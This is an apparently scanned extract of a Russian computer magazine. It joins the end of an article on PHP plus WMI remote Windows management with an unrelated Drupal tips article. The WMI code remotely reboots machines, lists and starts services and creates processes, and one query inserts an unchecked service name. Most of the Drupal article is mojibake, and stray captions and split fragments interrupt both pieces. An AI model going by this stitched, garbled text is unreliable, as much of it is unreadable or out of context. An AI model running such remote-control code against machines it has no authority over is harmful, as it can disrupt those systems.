ратуру из кельвинов в привычные русскому глазу единицы Цельсия.
Двигаемся дальше и с помощью старого доброго пространства 
имен /root/cimv2 получаем информацию об установленной оси, 
сервис-паках  и аптайме. Всё это реализовано в функции, исход-
ник которой ты можешь найти в файле uptime.php. Здесь исполь-
зованы методы провайдеров Win32_OperatingSystem и Win32_
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Вывод информации о CPU (окно отладки)

Настройка dynamic dns на роутере
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PerfFormattedData_PerfOS_System. Для перевода секунд при ото-
бражении uptime используется функция format_time($temp), текст 
функции ищи в исходнике — файл human_second.php.

Выводим параметры OS’и и uptime

foreach($obj->instancesof

  ('Win32_OperatingSystem') as $mp )

{

  $temp=($mp->Name);

  echo "OS name: " .substr($temp,0,-40). "\r\n";

  $temp2=($mp->ServicePackMajorVersion);

  echo "Service pack: " . $temp2 . "\r\n";

}

foreach ($obj->instancesof

   ('Win32_PerfFormattedData_PerfOS_System') as $mp)

{

  $temp=($mp->SystemUpTime);

  echo "System uptime: ".format_time($temp)."\r\n";

}

Результаты работы наших скриптов:

OS name: Microsoft Windows Server 2008 R2 Enterprise 

Service pack: 0

System uptime: 23hour 32min 42sec 

Таким образом, с помощью языка PHP в связке с WMI мы можем 
получать любую информацию о ПК удаленно. Примеры реализации 
других функций (таких как просмотр, запуск и остановка процессов и 
служб, получение DNS записей из сервера, перезагрузка и заверше-
ние работы управляемой машины) можно найти в исходниках катало-
га include.

Рулим виндами удаленно
Для реализации перезагрузки ПК необходимо обратиться к про-
странству имен /root/cimv2 и вызвать метод Reboot провайдера 
‘Win32_OperatingSystem. Для завершения работы необходимо вызвать 
метод ShutDown.

Удаленная перезагрузка системы

$obj = new COM(

 'winmgmts:{impersonationLevel=impersonate,(Shutdown)}//'

 .$server.'/root/cimv2');

foreach($obj->instancesof

  ('Win32_OperatingSystem') as $mp)

{

  echo "<pre>\r\n";

  echo "<b>Rebooting immediately\r\n</b>\r\n</pre>";

  $ctemp=($mp->Reboot);

}

Для просмотра запущенных служб:

Список запущенных служб

$process = $obj->execquery

  ("SELECT * FROM Win32_Service");

foreach ( $process AS $row )

                  {

                   echo "<pre>\r\n";

                   echo "NAME: " . $row->Name .",

\r\nDISPLAY NAME:".strtolower($row->DisplayName).",

\r\nPATH: " . strtolower($row->PathName ). ",

\r\nSTATE: " . strtolower($row->state )."<br/>";

                  }

Для просмотра процессов:

Список запущенных процессов

$process = $obj->execquery

   ("SELECT * FROM Win32_Process");

if ( $process->count > 0 )

{

   foreach ( $process AS $row )

   {

      echo "<pre>\r\n";

      echo "PID: ".$row->processid.",

 \r\nPROCESS NAME: ".strtolower( $row->name ).",

 \r\nMEMORY USAGE: ".number_format

 ( $row->workingsetsize )."<br/>";

   }

}

Для запуска или остановки служб используем методы StartService и 
StopService объекта Win32_Service:

Запуск служб

$process = $obj->execquery

("SELECT * FROM Win32_Service Where

   Name='$servicesname'");

foreach ($process AS $row)

{     

  $row->StartService();

  echo "Service started!";

}

А вот для запуска процессов придется использовать метод Create 
объекта win32_process:

Запуск процессов

$obj_win32_process=new COM(

  'winmgmts:{impersonationLevel=impersonate}//'

  .$server.'/root/cimv2:Win32_Process');

$obj_win32_process->Create($processname, 

  Null,Null,lngProcessID2);

echo "Process created!";

Заключение
Таким образом, используя все возможности WMI-провайдеров из 
PHP, можно получать и публиковать на web-сайте  любую информа-
цию об удаленных машинах, а также практически без ограничений 
ими управлять, манипулируя процессами, службами и реестром.
В рамках статьи показаны лишь наиболее простые варианты приме-
нения связки PHP и WMI для удаленного мониторинга и управления 
Windows-системами. В исходниках ты найдешь пример получения 
PTR (pointer) записей домена (файл dns_ptr.php), реализованный с 
помощью использования пространства имен /root/MicrosoftDNS и 
провайдера MicrosoftDNS_PTRType. Вся эта система у меня реализо-
вана в виде web-сайта с подключаемыми модулями-функциями (см. 
картинку).
В общем, теперь все рычаги управления Windows-системами c помо-
щью php-интерпретатора в твоих руках — пользуйся, но не в деструк-
тивных целях! z

Пример реализации функций управления в виде системы
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Про него говорят: гибкий и сложный, безопасный и быстрый. Им многие восхищаются, 
но не все решаются применять в своих проектах. Да, он такой, этот Drupal. Умеет многое, 
но чтобы получить от него максимальную отдачу, разработчику придется как следует попотеть 
и разобраться в многочисленных тонкостях. Этот путь тернист и труден, но цель однозначно того 
стоит. Я начал применять Drupal в своем большом проекте не так давно, но уже успел набить 
несколько шишек и хочу уберечь от этого тебя. Заинтригован? Тогда приготовься выслушать 
советы от уже не совсем начинающего Drupal'ера.

Óðîêè
Drupal'îãèè

Совет №1: Каждому проекту — 
свой Drupal
Drupal ïðèãîäåí íå òîëüêî äëÿ ñòðîèòåëüñòâà web-ñàéòîâ, íî è äëÿ 
ðàçðàáîòêè web-ïðèëîæåíèé. Çà÷àñòóþ ïîäîáíûå ïðèëîæåíèÿ ðàç-
ðàáàòûâàþòñÿ äëÿ âíóòðèêîðïîðàòèâíûõ íóæä. Ê òàêèì ïðîåêòàì 
ïðåäúÿâëÿþòñÿ ñîâñåì äðóãèå òðåáîâàíèÿ, è òèïè÷íîé ñáîðêè Drupal 
ìîæåò îêàçàòüñÿ ìàëî. Äà, âñå ëåãêî äîïèëèòü è íàñòðîèòü, íî èíîãäà 
áåñïîêîèòüñÿ îá ýòîì íå íóæíî, òàê êàê ëþáèòåëè Drupal'à óæå âñå 
ñäåëàëè.
Èç àëüòåðíàòèâíûõ «âåðñèé» Drupal ÿ ìîãó ïîñîâåòîâàòü 
BrainstormBlogger (brainstormblogger.org) è Open Atrium (openatrium.
com). Ïåðâûé ïðîåêò — ýòî ñáîðêà Drupal'à, ñïåöèàëüíî ðàçðàáîòàí-
íàÿ äëÿ áûñòðîãî ñîçäàíèÿ áëîãîâ. Èñïîëüçîâàòü ÷èñòûé Drupal äëÿ 
ñòðîèòåëüñòâà áëîãà — ïðîöåññ òðóäîåìêèé, è íå êàæäûé íîâè÷îê ñ 
íèì ñïðàâèòñÿ. Ñïåöèàëüíî äëÿ òàêèõ ñëó÷àåâ è ëþäåé íàø ñîîòå-
÷åñòâåííèê ñäåëàë àëüòåðíàòèâíóþ ñáîðêó Drupal. Rainstorm Blogger 
ãîòîâ ê ðàáîòå ïðÿìî èç êîðîáêè è ñîäåðæèò â ñåáå âñå íåîáõîäèìûå 
ìîäóëè (îáëàêî òåãîâ è ïðî÷åå) äëÿ ðàçâåðòûâàíèÿ ïîëíîöåííîãî 
áëîãà. Â ñëó÷àÿõ, êîãäà íóæåí ïðîñòîé áëîã,  ýòî èäåàëüíûé âàðèàíò. 
Òàêæå õî÷ó îòìåòèòü, ÷òî ïðèìåíåíèå Brainstorm blogger íå íàêëà-
äûâàåò íèêàêèõ îãðàíè÷åíèé. Òû ìîæåøü óñòàíàâëèâàòü äîïîëíè-
òåëüíûå ìîäóëè, âûïîëíÿòü àâòîìàòè÷åñêîå îáíîâëåíèå äâèæêà è 
òàê äàëåå.
Âòîðîé ïðîåêò, î êîòîðîì ÿ õî÷ó òåáå ðàññêàçàòü — Open Atrium. 
Îí ïîçâîëÿåò â  êðàò÷àéøèå ñðîêè ïîäíÿòü ñèñòåìó äëÿ ñîâìåñò-
íîé ðàáîòû. Åñëè òû ðóêîâîäèøü îòäåëîì, òî îäíîçíà÷íî çíàêîì 
ñ ïîäîáíûìè ïðîåêòàìè. Îíè ïîçâîëÿþò çàêðåïëÿòü çàäà÷è çà 
îïðåäåëåííûì ñîòðóäíèêîì, ïëàíèðîâàòü âðåìÿ èõ âûïîëíåíèÿ, 
îòñëåæèâàòü ïðîöåññ çàâåðøåíèÿ, ôîðìèðîâàòü îò÷åòû è ïðî÷åå. 
Áîëüøèíñòâî òàêèõ ïðîãðàìì — ïëàòíûå, íî â ôóíêöèîíàëü-
íîì ïëàíå îíè íå ñèëüíî âûèãðûâàþò (èëè âîâñå ïðîèãðûâàþò) 
Open Atrium. Åñëè ïåðåä òîáîé âñòàëà çàäà÷à íàéòè è ðàçâåðíóòü 
ïîäîáíûé ñîôò, òî îáÿçàòåëüíî ïðèñìîòðèñü ê ýòîìó ïðîäóêòó. Îí 
áûñòðûé, ôóíêöèîíàëüíûé, áåñïëàòíûé, è ïðè îñòðîé íåîáõîäè-
ìîñòè åãî ìîæíî äîïèëèòü ïîä ñåáÿ. Íàáîð êëþ÷åâûõ ôóíêöèé 
ïðèâîæó íèæå:
• Ñèñòåìà òèêåòîâ;
• Áëîãè;
• Êàëåíäàðü;
• Äîêóìåíòû wiki;
• Äîñêà äëÿ ãðóïïîâîé ðàáîòû.

Совет №2: Рулим Drupal'ом 
из командной строки
Óäîáíûé web-èíòåðôåéñ ïàíåëè àäìèíèñòðèðîâàíèÿ Drupal — ýòî 
õîðîøî, íî îòíþäü íå âñåãäà óäîáíî. Êàê áûëî áû çäîðîâî èìåòü 
âîçìîæíîñòü âûïîëíÿòü àäìèíèñòðàòèâíûå îïåðàöèè ïðÿìî èç 
êîìàíäíîé ñòðîêè… À âåäü ýòî âîçìîæíî! Äîñòàòî÷íî çàãðóçèòü 
è óñòàíîâèòü ïàêåò drush (http://drupal.org/project/drush). Ñ åãî 
ïîìîùüþ àäìèíèñòðàòîð drupal'à ìîæåò âûïîëíÿòü ðàçíîîáðàçíûå 
äåéñòâèÿ ïðÿìî èç êîíñîëè:
• Ïîëó÷àòü èíôîðìàöèþ î íàñòðîéêàõ ñàéòà;
• Óñòàíàâëèâàòü/óäàëÿòü ìîäóëè;
• Âûïîëíÿòü îáíîâëåíèå äâèæêà è òàê äàëåå.
Èç âñåõ âîçìîæíîñòåé drush ÿ ÷àùå âñåãî ïîëüçóþñü ôóíêöèåé 
îáíîâëåíèÿ ìîäóëåé. Ñòàíäàðòíûé ïðîöåññ çàãðóçêè àïäåéòîâ 
ñëàâèòñÿ ñâîåé çàíóäíîñòüþ. Èçíà÷àëüíî òðåáóåòñÿ ñîñòàâèòü ñïèñîê 
îáíîâèâøèõñÿ ìîäóëåé, çàòåì çàéòè íà îôèöèàëüíûé ñàéò Drupal 
è ïåðåéòè íà ñòðàíèöó êîíêðåòíîãî ìîäóëÿ. Ïîòîì çàãðóçèòü åãî, 
ïåðåìåñòèòü â íóæíóþ äèðåêòîðèþ, âûïîëíèòü ñêðèïò îáíîâëåíèÿ 
è ïðî÷åå. Ëàäíî åùå, åñëè íóæíî îáíîâèòü îäèí ìîäóëü, à åñëè èõ äå-
ñÿòü, äâàäöàòü? Çàïðîñòî ìîæíî ñîéòè ñ óìà! Êóäà âåñåëåå âûïîëíÿòü 
ýòó ïðîöåäóðó ïðè ïîìîùè drush. Â ýòîì ñëó÷àå äîñòàòî÷íî âîñïîëü-
çîâàòüñÿ êîìàíäàìè up è upc. Óäàëåíèå/îòêëþ÷åíèå íîâûõ ìîäóëåé 
âûïîëíÿåòñÿ àíàëîãè÷íûì îáðàçîì. Íàïðèìåð, äëÿ óäàëåíèÿ ìîäóëÿ 
ïðåäóñìîòðåíà êîìàíäà:

$ ./drush uninstall <ìîäóëü èëè ñïèñîê ìîäóëåé>

Ïðèìåðíî òàê æå ïðîèñõîäèò îòêëþ÷åíèå è âêëþ÷åíèå 

ìîäóëåé:

$  ./drush en blog  //âêëþ÷àåì ìîäóëü blog

$  ./drush dis blog  //îòêëþ÷àåì ìîäóëü blog

Êðîìå ïåðå÷èñëåííûõ âêóñíîñòåé, drush ñîñëóæèò õîðîøóþ ñëóæáó, 
åñëè òû óìóäðèøüñÿ óñòàíîâèòü ãëþ÷íûé ìîäóëü è ïîëîæèøü îòîá-
ðàæåíèå ïàíåëè àäìèíèñòðèðîâàíèÿ. Êàê â òàêîé íåëåãêîé ñèòóàöèè 
êîððåêòíî óäàëèòü âèíîâíûé ìîäóëü? Drush ñìîæåò îêàçàòü ïåðâóþ 
ïîìîùü è ïîñðåäñòâîì îäíîé êîìàíäû óäàëèò êàïðèçíûé ìîäóëü.

Совет №3: Авторизация по OpenID
Ñàéòû  ñ ñîáñòâåííîé ñèñòåìîé àâòîðèçàöèè îòõîäÿò íà âòîðîé ïëàí. 
Æèçíåííî-íåîáõîäèìûõ web-ñåðâèñîâ ñ êàæäûì äíåì ñòàíîâèòñÿ 
âñå áîëüøå è õðàíèòü â ãîëîâå äåñÿòêè ñâÿçîê  èç ëîãèíîâ/ïàðîëåé 

Øåñòíàäöàòü ñîâåòîâ íà÷èíàþùåìó 
äðóïàëüùèêó
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— çàäà÷à íå èç ëåãêèõ. ×òîáû êàê-òî åå ðåøèòü, â ñâîå âðåìÿ è áûë ñî-
çäàí OpenID — îòêðûòàÿ öåíòðàëèçîâàííàÿ ñèñòåìà, ïîçâîëÿþùàÿ 
ïîëüçîâàòåëþ èñïîëüçîâàòü åäèíûé ëîãèí/ïàðîëü äëÿ âûïîëíåíèÿ 
àâòîðèçàöèè íà ðàçëè÷íûõ ñàéòàõ. Ïîñëåäíåå àêòóàëüíî, åñëè îíè 
ïîääåðæèâàþò OpenID.
Íà÷èíàÿ ñ øåñòîé âåðñèè, â ñîñòàâå Drupal èäåò ìîäóëü, îáåñïå÷èâà-
þùèé âîçìîæíîñòü àâòîðèçàöèè ïî OpenID.  Îäíàêî, ÷òîáû íà÷àòü 
èñïîëüçîâàòü íà ñàéòå OpenID, íåîáõîäèìî ïîäêëþ÷èòü åùå îäèí 
ìîäóëü, ñîäåðæàùèé íàñòðîéêè äëÿ ðàçëè÷íûõ ïîñòàâùèêîâ OpenID.  
Òàêèõ ïîñòàâùèêîâ ìíîãî, íî íàèáîëåå ïîïóëÿðíûìè (äëÿ ðîññèé-
ñêèõ ïîëüçîâàòåëåé) ÿâëÿþòñÿ Yandex, Rambler, Google, LiveJournal, 
VKontakte, Facebook è íåêîòîðûå äðóãèå. Äëÿ çàðóáåæíûõ ñåðâèñîâ 
(Google, LiveJournal, Facebook) â ðåïîçèòîðèÿõ Drupal åñòü ñîîòâåòñ-
òâóþùèå ìîäóëè, à âîò äëÿ ðîññèéñêèõ — íåò. Êîãäà ïåðåäî ìíîé 
âñòàëà çàäà÷à ïðèêðóòèòü OpenID-àâòîðèçàöèþ, òî ìíå ïðèøëîñü 
îñíîâàòåëüíî ïðîøåðñòèòü èíòåðíåò ñ öåëüþ ïîèñêà ðåøåíèÿ. È îíî 
íàøëîñü! ×òîáû âñå áûëî òèï-òîï, íóæíî âîñïîëüçîâàòüñÿ ìîäóëåì 
OpenID Extension (http://drupal.org/files/issues/openid_ext_1.zip) 
îò íàøåãî ñîîòå÷åñòâåííèêà.  Îáðàòè âíèìàíèå, äàííûé ìîäóëü — 
íå î÷åðåäíîé âàðèàíò âçàèìîäåéñòâèÿ ñ OpenID. Ýòî ïðîñòî óäîáíûé 
áëîê äëÿ âûïîëíåíèÿ àâòîðèçàöèè, à òàêæå âîçìîæíîñòü âûáîðà 
ïîñòàâùèêà ID-ïàðàìåòðîâ â íàøåé ñòðàíå.

Совет №4: Drupal + «ВКонтакте»
Âêëþ÷èòü íà ñàéòå àâòîðèçàöèþ ïî OpenID, íåñîìíåííî, ïîëåçíî, íî 
÷òî åñëè íàì ïîòðåáóåòñÿ âñåãî ëèøü îáåñïå÷èòü áîëåå ïðîñòîé âõîä 
íà ñàéò (áåç ðåãèñòðàöèè) ïîëüçîâàòåëÿì, èìåþùèì àêêàóíò â ñîöè-
àëüíîé ñåòè «ÂÊîíòàêòå»? Äà, ìîæíî ïðîñòî îòêëþ÷èòü ëèøíèõ ïîñ-
òàâùèêîâ â  External Form Login, íî ýòî íå ðåøèò ïðîáëåìó. Âûïîëíÿÿ 
âõîä ïî VKontakteID, ïîëüçîâàòåëþ ôàêòè÷åñêè ïðèäåòñÿ ñîçäàòü 
íîâóþ ó÷åòíóþ çàïèñü íà ñàéòå.  Ïðè âõîäå îí óâèäèò ñòàíäàðòíóþ 
ðåãèñòðàöèîííóþ ôîðìó, îæèäàþùóþ çàïîëíåíèÿ. Äà, äàæå ïàðîëü 
ïðèäåòñÿ ïðèäóìûâàòü.  È ëèøü ïîñëå ñîçäàíèÿ àêêàóíòà ê íåìó áó-
äåò ïðèâÿçàí OpenID-èäåíòèôèêàòîð (â äàííîì ñëó÷àå VKontakteID), 
è ïîëüçîâàòåëü ñìîæåò âûïîëíÿòü âõîä ïî íåìó. Ñàì ïîíèìàåøü, 
òàêîé ïîäõîä íå î÷åíü óäîáåí, è âîñïîëüçîâàòüñÿ èì ìîæíî íå âñåãäà. 
Èíîãäà òðåáóåòñÿ ðåàëèçîâàòü ÷òî-òî áîëåå ïðîñòîå. Ïðåäñòàâü, êàê 
áûëî áû çäîðîâî, åñëè áû ïîëüçîâàòåëü, èìåþùèé àêêàóíò «ÂÊîíòàê-
òå», ìîã ñðàçó âîéòè íà òâîé ñàéò. Äðóãèìè ñëîâàìè, Drupal äîëæåí 
ñîçäàâàòü íîâóþ ó÷åòíóþ çàïèñü àâòîìàòè÷åñêè íà îñíîâàíèè ïîëó-
÷åííûõ äàííûõ îò «Â Êîíòàêòå». Ê ñ÷àñòüþ, äîáèòüñÿ òàêîãî ýôôåêòà 
íå òàê-òî ñëîæíî. Ïðèìåðíî ïîëãîäà íàçàä ðàçðàáîò÷èêè ïîïóëÿð-

íîé ñîöèàëüíîé ñåòè îòêðûëè äîñòóï ê OpenAPI-èíòåðôåéñó. Áëàãî-
äàðÿ ýòîìó ïîëüçîâàòåëè ïîëó÷àþò âîçìîæíîñòü âûïîëíÿòü àâòîðè-
çàöèþ íà ñòîðîííèõ ñàéòàõ, èñïîëüçóÿ ó÷åòíóþ çàïèñü «ÂÊîíòàêòå».   
Äîáàâèòü â Drupal ïîääåðæêó «ÂÊîíòàêòå OpenAPI» ïîçâîëÿåò ìîäóëü 
VK OpenAPI (http://drupal.org/project/vk_openapi). Ìîäóëü ïðîñò 
â èñïîëüçîâàíèè, è ñ åãî ïîìîùüþ ëåãêî íàñòðîèòü íîâóþ ñèñòåìó 
àâòîðèçàöèè. Ïîìèìî àâòîðèçàöèè VK OpenAPI ìîæåò äîáàâèòü ê 
ìàòåðèàëàì êíîïêó «Share», ïîçâîëÿþùóþ ïîëüçîâàòåëÿì äåëèòüñÿ 
ïîíðàâèâøèìñÿ ìàòåðèàëîì.

Совет №5: Выбираем продвинутый 
шаблонизатор
Îäíèì èç ñàìûõ óäà÷íûõ øàáëîíèçàòîðîâ äëÿ PHP ñ÷èòàåòñÿ Smarty 
(www.smarty.net). Âî ìíîãèõ ñîâðåìåííûõ CMS èñïîëüçóåòñÿ èìåí-
íî îí, è íà ýòî åñòü ïðè÷èíû. Ãëàâíûå èç íèõ — ãèáêîñòü, óäîáñòâî 
è áîëüøèå âîçìîæíîñòè. Óâû, ïî óìîë÷àíèþ â Drupal ïðèìåíÿåòñÿ 
ñîáñòâåííûé øàáëîíèçàòîð, íî ïðè æåëàíèè ëåãêî ìîæíî ïîäêëþ-
÷èòü è smarty. Äëÿ ýòîãî íåîáõîäèìî çàãðóçèòü smarty theme engine 
äëÿ Drupal (http://drupal.org/project/smarty) è, ñîáñòâåííî, ñàì 
Smarty (ññûëêó èùè âûøå). Ïîñëå ýòèõ íåõèòðûõ îïåðàöèé òû ïîëó-
÷èøü âîçìîæíîñòü ñîçäàâàòü òåìû íà áàçå Smarty. Êñòàòè, ïî÷åìó-
òî ãîòîâûõ òåì íå òàê ìíîãî, ïîýòîìó ó òåáÿ åñòü âñå øàíñû ñòàòü 
àâòîðîì ñàìîé êðàñèâîé è óäîáíîé Smarty-òåìû, íà êîòîðîé áóäóò 
ó÷èòüñÿ òûñÿ÷è ïîëüçîâàòåëåé.

Совет №6: С чего начинать созда-
ние первой собственной темы для 
Drupal?
Ðàíî èëè ïîçäíî ïåðåä Drupal'åðîì âñòàåò çàäà÷à ïî ðàçðàáîòêå ñîáñ-
òâåííîé òåìû îôîðìëåíèÿ. ß áû ñêàçàë, ÷òî èìåííî íà ýòîì ýòàïå 
90% íîâè÷êîâ ïðèíèìàþò ôàòàëüíîå ðåøåíèå: «Drupal íå äëÿ ìåíÿ». 
Îò÷àñòè èõ ìîæíî ïîíÿòü, ïîñêîëüêó òåìèçàöèÿ — îäíà èç ñàìûõ 
ñëîæíûõ è íåïîíÿòíûõ âåùåé. Íóæíî ïðèëîæèòü óñèëèÿ, ÷òîáû 
õîðîøî îñâîèòü äàííûé ïðîöåññ è ïðèìåíÿòü åãî â äàëüíåéøåì áåç 
ñó÷êà è çàäîðèíêè. ×òîáû îñâîåíèå ïðîõîäèëî áîëåå ãëàäêî è ïîíÿò-
íî, ÿ áû ðåêîìåíäîâàë òåáå âûïîëíèòü íåñêîëüêî ïðîñòûõ øàãîâ.
1. ×òåíèå ìàíóàëîâ. Åñëè óðîâåíü àíãëèéñêîãî ïîçâîëÿåò, òî çíàêî-
ìèòüñÿ ñ òåìèçàöèåé ñòîèò ïîñëå ÷òåíèÿ îôèöèàëüíîé äîêóìåíòà-
öèè (http://drupal.org/documentation/theme). Â íåé ñîäåðæèòñÿ 
êó÷à êàê ïîëåçíîãî, òàê è áåñïîëåçíîãî ìàòåðèàëà.  Â ëþáîì ñëó÷àå, 
èçó÷èâ åãî, òû îäíîçíà÷íî ïîéìåøü, êàê ðàáîòàþò òåìû â Drupal è 
ïîçíàêîìèøüñÿ ñ äðóãèìè íþàíñàìè ýòîé îáëàñòè. Âòîðûì îáÿçà-



òåëüíûì äëÿ ÷òåíèÿ ïóíêòîì áóäåò öèêë ñòàòåé îò Ðîìàíà Àðõàðîâà, 
ïðîôåññèîíàëüíîãî Drupal-ðàçðàáîò÷èêà. Ðîìàí íàïèñàë íåñêîëüêî 
çàìå÷àòåëüíûõ ñòàòåé ïî Drupal (http://pcmag.ru/solutions/detail.
php?ID=37518). Ñðåäè íèõ åñòü è ñòàòüÿ ïðî òåìèçàöèþ.
2. Èçó÷åíèå òåìû Zen. Íà÷àòü ðàçðàáàòûâàòü íîâóþ òåìó äëÿ Drupal ñ 
÷èñòîãî ëèñòà — äîâîëüíî ñëîæíûé ïðîöåññ. Íîâè÷êó âðÿä ëè õâàòèò 
ñèë è òåðïåíèÿ çàâåðøèòü åãî äî êîíöà. Äëÿ îáëåã÷åíèÿ æèçíè ëó÷øå 
âçÿòü çà îñíîâó òåìó Zen (http://drupal.org/project/zen). Âåñü êîä òåìû 
õîðîøî ïðîêîììåíòèðîâàí è ðàáîòàòü ñ íèì — îäíî óäîâîëüñòâèå.

Совет №7: Shared  хостинг или VPS?
Ñàì ïî ñåáå Drupal äîñòàòî÷íî øóñòðûé, íî ñòîèò îáâåøàòü åãî 
äîïîëíèòåëüíûìè ìîäóëÿìè è âûâåñòè â ñâîáîäíîå ïëàâàíèå, 
êàê íà÷èíàþòñÿ ïðîáëåìû ñ ïðîèçâîäèòåëüíîñòüþ. ×òîáû Drupal 
«ëåòàë», íóæíî ïîçàáîòèòüñÿ î ïðàâèëüíîé íàñòðîéêå îêðóæàþùåé 
åãî ñðåäû. Ðå÷ü èäåò, êîíå÷íî, î web-ñåðâåðå, ÑÓÁÄ, PHP è òàê äàëåå. 
Ìàêñèìàëüíàÿ ïðîèçâîäèòåëüíîñòü âîçìîæíà ëèøü ïðè òùàòåëüíîé 
íàñòðîéêå âñåõ êîìïîíåíòîâ. Ê íåñ÷àñòüþ, ïîëó÷èòü äîñòóï êî ìíî-
ãèì íàñòðîéêàì ïåðå÷èñëåííîãî ÏÎ íà îáû÷íîì õîñòèíãå íåëüçÿ. 
Ïðèõîäèòñÿ äîâîëüñòâîâàòüñÿ òåì, ÷òî ïðåäëàãàåò õîñòåð.  ×òîáû 
ïîñåòèòåëè òâîåãî ïðîåêòà íå íàáëþäàëè áåëûé ýêðàí ñìåðòè âìåñòî 
èñêîìîãî ñàéòà, ÿ ñîâåòóþ òåáå íå èñïîëüçîâàòü shared-õîñòèíã äëÿ 
ðàçìåùåíèÿ áîëåå-ìåíåå ïîñåùàåìîãî ðåñóðñà. Ëó÷øå ïîòðàòèòü 
íåìíîãî äåíåã è ïðèîáðåñòè VPS, íà êîòîðîì òû áóäåøü õîçÿèíîì è 

ñìîæåøü ñàì îïðåäåëÿòü íàñòðîéêè âñåõ ñåðâåðíûõ êîìïîíåíòîâ 
(âêëþ÷àÿ ÎÑ).

Совет №8: Начальная оптимизация
Ñðàçó ïîñëå óñòàíîâêè Drupal íóæíî ïðèñòóïèòü ê áàçîâîé îïòèìè-
çàöèè. Drupal áûñòð, íî åñëè åñòü âîçìîæíîñòü ÷òî-òî óñêîðèòü, åé 
íàäî ïîëüçîâàòüñÿ. Ïðîöåññ îïòèìèçàöèè Drupal óñëîâíî ìîæíî 
ðàçäåëèòü íà òðè ãðóïïû:
1. Áàçîâàÿ. Ðåàëèçóåòñÿ ñðåäñòâàìè äâèæêà. Ñàìîñòîÿòåëüíî ðóëèòü 
ýòèìè ïàðàìåòðàìè èç ïàíåëè àäìèíèñòðèðîâàíèÿ òû ìîæåøü ñðàçó 
ïîñëå çàâåðøåíèÿ èíñòàëëÿöèè ñèñòåìû.
2. Ðàñøèðåííàÿ. Äëÿ Drupal ðàçðàáîòàíû ñïåöèàëüíûå ìîäóëè, ïîç-
âîëÿþùèå ïîâûñèòü îáùóþ ïðîèçâîäèòåëüíîñòü ñèñòåìû (íàïðè-
ìåð, ïîñðåäñòâîì ïðîäâèíóòîãî êýøèðîâàíèÿ).
3. Ñåðâåðíàÿ. Ïîä ñåðâåðíîé îïòèìèçàöèåé ïîäðàçóìåâàåòñÿ 
íàñòðîéêà ñåðâåðíûõ êîìïîíåíòîâ, âçàèìîäåéñòâóþùèõ ñ 
Drupal.
Èòàê, âíà÷àëå ïîñìîòðèì íà áàçîâóþ îïòèìèçàöèþ. Â íàñòðîé-
êàõ ïðîèçâîäèòåëüíîñòè ñèñòåìû (admin/settings/performance) 
äîñòóïíî íåñêîëüêî îïöèé, âëèÿþùèõ íà áûñòðîäåéñòâèå. Ïåðâîå, 
ñ ÷åãî ñòîèò íà÷àòü îïòèìèçàöèþ, — âêëþ÷åíèå êýøà. Ïî óìîë-
÷àíèþ îí îòêëþ÷åí è àäìèíèñòðàòîðó äîñòóïíî äâà âàðèàíòà 
êýøèðîâàíèÿ: «íîðìàëüíûé» è «àãðåññèâíûé». Ñàìóþ áîëüøóþ 
ïðîèçâîäèòåëüíîñòü äàåò «àãðåññèâíûé» ðåæèì, íî íå ñòîèò îáîëü-
ùàòüñÿ. Ëó÷øå âûáðàòü «íîðìàëüíûé». Ýòî îïòèìàëüíûé ðåæèì 
äëÿ ñàéòà ñ áîëüøèì ÷èñëîì çàðåãèñòðèðîâàííûõ ïîëüçîâàòåëåé. 
Åñëè æå ñàéò ìàëîïîñåùàåì, òî â òàêîì ñëó÷àå õîðîøèì âûáîðîì 
ñòàíåò «àãðåññèâíûé» ðåæèì. 
Ñîâåòóþ îáðàòèòü âíèìàíèå íà ãðóïïó íàñòðîåê «Îïòèìèçàöèÿ 
ïðîïóñêíîé ñïîñîáíîñòè». Îíà ïîçâîëÿåò àêòèâèðîâàòü îáúåäèíå-
íèå CSS è JavaScript â åäèíûå ôàéëû. Çà÷åì? Äåëî â òîì, ÷òî ìíîãèå 
äîïîëíèòåëüíûå ìîäóëè òÿíóò ñ ñîáîé css/js ôàéëû. Ïðè çàãðóçêå 
î÷åðåäíîé ñòðàíèöû ïðîèñõîäèò îáðàùåíèå ê íåñêîëüêèì ôàéëàì 
íà ñåðâåðå. À ýòî, â ñâîþ î÷åðåäü, ëèøíèå ñîåäèíåíèÿ. ×òîáû ìèíè-
ìèçèðîâàòü çàòðàòû, ìîæíî âûïîëíèòü îáúåäèíåíèå. Â ýòîì ñëó÷àå 
Drupal ñîçäàñò åäèíûé ôàéë ñ css/js, êîòîðûé è áóäåò çàãðóæàòüñÿ 
áðàóçåðîì ïîëüçîâàòåëÿ.
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Совет №9: Серверные 
компоненты
Ñ ñàìîãî íà÷àëà âàæíî ïîíÿòü, ÷òî áûñòðîäåéñòâèå 
Drupal íàïðÿìóþ çàâèñèò îò íàñòðîéêè êîìïîíåíòîâ 
âíåøíåé ñðåäû. Ê òàêîâûì îòíîñÿòñÿ web-ñåðâåð, 
ÑÓÁÄ è PHP. Åñëè ÷òî-òî èç ýòîãî ñïèñêà ðàáîòàåò íåýô-
ôåêòèâíî, òî íè î êàêîé õîðîøåé ïðîèçâîäèòåëüíîñòè 
íå ìîæåò áûòü è ðå÷è. Íàñòðàèâàòü âñå êîìïîíåíòû 
ìîæíî äîëãî, íî ÿ õîòåë áû îáðàòèòü òâîå âíèìàíèå 
íà ñàìûå âàæíûå íàñòðîéêè — íàñòðîéêè PHP. Âåñü 
Drupal íàïèñàí ñóãóáî íà PHP, ïîýòîìó êðàéíå âàæíî 
ïîçàáîòèòüñÿ î íàñòðîéêå ýòîãî èíòåðïðåòàòîðà. Â 
êîíôèãóðàöèîííîì ôàéëå PHP åñòü êó÷à äèðåêòèâ, íî 
äëÿ Drupal îñîáåííî âàæíîé áóäåò php_value memory_
limit. Êàê âèäíî èç íàçâàíèÿ, äèðåêòèâà îòâå÷àåò çà 
îáúåì ïàìÿòè, âûäåëÿåìîé äëÿ âûïîëíåíèÿ ñöåíàðèÿ. 
Ïîíÿòíîå äåëî, ÷òî ÷åì åå áîëüøå, òåì ëó÷øå. Åñëè 
ãîâîðèòü êîíêðåòíî â öèôðàõ, òî êðàéíå æåëàòåëüíî 
óñòàíîâèòü çíà÷åíèå áîëüøå 32M (òî åñòü áîëüøå 
32-õ ìåãàáàéò). Ïîìèìî óñòàíîâêè îáúåìà ïàìÿòè, íå 
ìåíåå âàæíîé îïöèåé ÿâëÿåòñÿ max_excecution_time 
(ìàêñèìàëüíîå âðåìÿ âûïîëíåíèÿ ñöåíàðèÿ). Îáû÷íî 
çäåñü âûñòàâëÿþò çíà÷åíèå îò 30 è âûøå. ×åì áîëüøå 
